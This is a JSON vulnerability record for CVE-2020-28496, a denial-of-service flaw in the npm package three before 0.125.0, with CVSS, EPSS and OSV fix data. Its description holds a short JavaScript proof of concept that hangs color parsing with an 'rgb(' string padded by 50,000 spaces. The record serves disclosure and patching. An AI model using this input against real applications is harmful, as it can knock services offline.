{"cve":"CVE-2020-28496","nvd":{"published":"2021-02-18T15:15:13.360","modified":"2026-06-17T03:10:32.423","status":"Modified","description":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cwes":["CWE-400"],"references":["https://github.com/mrdoob/three.js/issues/21132","https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","https://snyk.io/vuln/SNYK-JS-THREE-1064931","https://github.com/mrdoob/three.js/issues/21132"],"products":["three_project:three"],"source":"nvd","synced_at":"2026-10-19T21:15:50.279857260+00:00"},"epss":{"cve":"CVE-2020-28496","score":0.02519,"percentile":0.84842,"date":"2026-10-31"},"kev":null,"osv":[{"id":"GHSA-fq6p-x6j3-cmmq","url":"https://osv.dev/vulnerability/GHSA-fq6p-x6j3-cmmq","summary":"Denial of service in three","modified":"2023-11-08T04:03:28.730603Z","packages":[{"ecosystem":"npm","name":"three","purl":"pkg:npm/three","ranges":["<0.125.0"],"fixed":["0.125.0"]}]}],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}